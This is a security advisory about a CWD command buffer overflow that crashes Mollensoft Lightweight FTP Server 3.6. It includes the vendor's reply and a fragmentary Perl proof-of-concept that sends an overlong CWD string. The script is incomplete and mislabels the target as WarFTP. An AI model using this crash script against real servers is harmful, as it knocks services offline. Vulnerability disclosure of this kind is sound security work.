Mollensoft Lightweight FTP Server CWD Buffer Overflow ------------------------------------------------------------------------
SUMMARY
STORM has discovered a security vulnerability in <http://www.mollensoft.com/product2.htm> Mollensoft Lightweight FTP Server. Mollensoft Lightweight FTP Server's support for the CWD command incorrectly verifies that the buffer the CWD command doesn't overflow any of its internal buffers. This insufficient verification allows an authenticated (anonymous or otherwise) user to cause the FTP server to crash while trying to read an arbitrary memory location by issuing a malformed CWD command.
DETAILS
Vulnerable Systems: * Mollensoft Lightweight FTP Server version 3.6
Vendor Response: BigAl (author) responded with: I wrote this particular app with Visual Basic and used an FTP ActiveX COM component and I am waiting for the component creator to get back to me regarding the fix. Unfortunately I cannot snip off any of the commands, as access to the command length is not available from the VB component using straight VB Code. I am working on moving to .Net so hopefully I can have a new FTP server out by fall time frame which is truly multi-threaded and totally coded by me.
my $cmd = "CWD "; $cmd .= "A" x 224; # Value can range from 224 to 1018 $cmd .= "\r\n"; print "length: ".length($cmd)."\n"; print $socket $cmd;
$repcode = ""; recv_reply($socket, $repcode);
close($socket); exit(0);
sub usage { # print usage information print "\nUsage: Mollensoft_FTP_Server_crash.pl <host> <port>\n <host> - The host to connect to <port> - The TCP port which WarFTP is listening on\n\n"; exit(1); }
sub recv_reply { # retrieve any reply my $socket = shift; my $repcode = shift; $socket or die "Can't receive on socket\n";
my $res=""; while(<$socket>) { $res .= $_; if (/$repcode/) { last; } } return $res; }
ADDITIONAL INFORMATION
SecurITeam would like to thank <storm@securiteam.com> STORM for finding this vulnerability
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.